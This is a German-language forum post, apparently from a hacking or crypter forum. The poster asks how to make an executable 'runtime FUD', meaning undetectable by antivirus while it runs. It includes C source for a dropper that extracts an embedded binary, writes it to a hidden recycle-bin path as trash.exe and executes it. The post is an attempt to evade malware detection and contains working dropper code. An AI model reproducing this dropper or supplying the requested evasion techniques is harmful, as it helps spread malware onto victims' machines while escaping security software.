hey leutz

mein Problem ist folgendes:

meine 123.exe ist Scanntime fud aber wenn ich sie mit dem unten stehendem Code auch runtime Fud machen möchte wird das ganze wieder erkannt und so mit schließe ich das der C code erkannt wird bzw das dropen der resscource

weiß jemand ne lösung dafür zb eine methode den quellcode zu encodieren aber er immer noch funkt oder ne andere möglichkeit?

sollte halt runtime fud werden


main.c :
Code:
#define STRICT
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include "res.h"

int main(){
  LPVOID datel = LockResource ( LoadResource (0, FindResource (0, MAKEINTRESOURCE(ID_FILE_01), "BINARY")));
  
  FILE *datei = fopen ("C:\\RECYCLER\\trash.exe", "wb");
  if (datei != NULL)
  {
   fwrite(datel, 1, 654321, datei);
   fclose(datei);
   }
   ShellExecute(0,"open","C:\\RECYCLER\\trash.exe", 0,0, SW_SHOWNORMAL);
  return 0;
}